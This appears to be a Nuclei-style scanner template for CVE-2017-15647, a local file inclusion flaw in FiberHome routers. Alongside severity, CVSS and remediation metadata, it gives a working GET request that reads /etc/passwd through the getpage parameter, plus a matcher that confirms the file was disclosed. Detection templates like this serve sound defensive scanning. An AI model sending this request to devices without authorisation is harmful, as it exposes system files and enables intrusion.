CVE-2017-15647: FiberHome Routers - Local File Inclusion

id: CVE-2017-15647

info:
  name: FiberHome Routers - Local File Inclusion
  author: daffainfo
  severity: high
  description: FiberHome routers are susceptible to local file inclusion in /cgi-bin/webproc via the getpage parameter in conjunction with a crafted var:page value.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the system, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest firmware update provided by FiberHome to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/44054
    - https://blogs.securiteam.com/index.php/archives/3472
    - https://nvd.nist.gov/vuln/detail/CVE-2017-15647
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-15647
    cwe-id: CWE-22
    epss-score: 0.32685
    epss-percentile: 0.96737
    cpe: cpe:2.3:o:fiberhome:routerfiberhome_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fiberhome
    product: routerfiberhome_firmware
  tags: cve,cve2017,lfi,router,edb,fiberhome

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/webproc?getpage=/etc/passwd&var:language=en_us&var:page=wizardfifth"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402201bf710c5dd4595b62a12f1565f6cdaf005eeca3c1170607767d967c5b7aa6f2a0220055fbff2b4a9b5a33937f0204bed845072dcdecb14d250dd3d0bd777c3889695:922c64590222798bb761d5b6d8e72950